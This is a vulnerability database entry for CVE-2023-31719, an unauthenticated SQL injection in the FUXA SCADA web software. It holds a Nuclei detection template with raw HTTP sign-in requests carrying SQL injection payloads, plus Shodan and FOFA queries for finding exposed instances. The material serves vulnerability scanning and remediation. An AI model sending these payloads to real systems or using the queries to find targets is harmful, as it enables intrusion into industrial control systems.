FUXA <= 1.1.12 - Unauthenticated SQL Injection
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| CVE-2023-31719 | 22 Sep 202300:15 | – | attackerkb | |
| CVE-2023-31719 | 22 Sep 202309:02 | – | circl | |
| FUXA SQL Injection Vulnerability | 21 Sep 202300:00 | – | cnnvd | |
| CVE-2023-31719 | 21 Sep 202300:00 | – | cve | |
| CVE-2023-31719 | 21 Sep 202300:00 | – | cvelist | |
| FUXA SQL Injection vulnerability | 22 Sep 202300:30 | – | github | |
| CVE-2023-31719 | 29 Oct 202601:44 | – | kitploit | |
| CVE-2023-31719 | 21 Sep 202300:00 | – | mend | |
| CVE-2023-31719 | 22 Sep 202300:15 | – | nvd | |
| CVE-2023-31719 | 21 Sep 202300:00 | – | osv_cve |
10
id: CVE-2023-31719
info:
name: FUXA <= 1.1.12 - Unauthenticated SQL Injection
author: Securin
severity: critical
description: |
FUXA <= 1.1.12 contains a SQL injection caused by unsanitized input in /api/signin, letting attackers execute arbitrary SQL commands, exploit requires sending crafted input to the endpoint.
impact: |
Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
remediation: |
Update to the latest version of FUXA to fix the vulnerability.
reference:
- https://github.com/MateusTesser/CVE-2023-31719
- https://github.com/frangoteam/FUXA/blob/v1.1.12/server/runtime/users/usrstorage.js
- https://github.com/frangoteam/FUXA/blob/v1.1.12/server/api/auth/index.js
- https://nvd.nist.gov/vuln/detail/CVE-2023-31719
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-31719
epss-score: 0.26032
epss-percentile: 0.97981
cwe-id: CWE-89
cpe: cpe:2.3:a:frangoteam:fuxa:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 4
vendor: frangoteam
product: fuxa
shodan-query: http.title:"FUXA"
fofa-query: title="FUXA"
tags: cve,cve2023,fuxa,sqli,unauth,scada
variables:
user: "{{rand_text_alpha(6)}}"
pass: "{{rand_text_alpha(6)}}"
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
GET /api/settings HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- 'contains_all(body, "daqTokenizer", "uiPort", "packageDir")'
condition: and
internal: true
- raw:
- |
POST /api/signin HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"username":"{{user}}' OR nosuchfunc{{user}}(1)='1","password":"{{pass}}"}
matchers:
- type: dsl
dsl:
- 'status_code == 400'
- 'contains(body, "SQLITE_ERROR")'
- 'contains(body, "no such function: nosuchfunc{{user}}")'
condition: and
internal: true
- raw:
- |
POST /api/signin HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"username":"{{user}}' OR '1'='1","password":"{{pass}}"}
matchers:
- type: dsl
dsl:
- 'status_code == 401'
- 'contains(body, "Invalid email/password")'
condition: and
internal: true
- raw:
- |
POST /api/signin HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"username":"{{user}}' AND '1'='2","password":"{{pass}}"}
matchers:
- type: dsl
dsl:
- 'status_code == 404'
- 'len(body) == 0'
condition: and
# digest: 4a0a0047304502200c0388b642242eeb12f8c9b299fee0881561c12adc6bca19f06ba78402e2a54e022100d9521dedbda34c3dc397094ff9c3ba1bbd20e2a56ac89970110cf8377ff05095:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
29 Oct 2026 08:04Current
8.8High risk
Vulners AI Score8.8
CVSS 3.19.8
EPSS0.26032
SSVC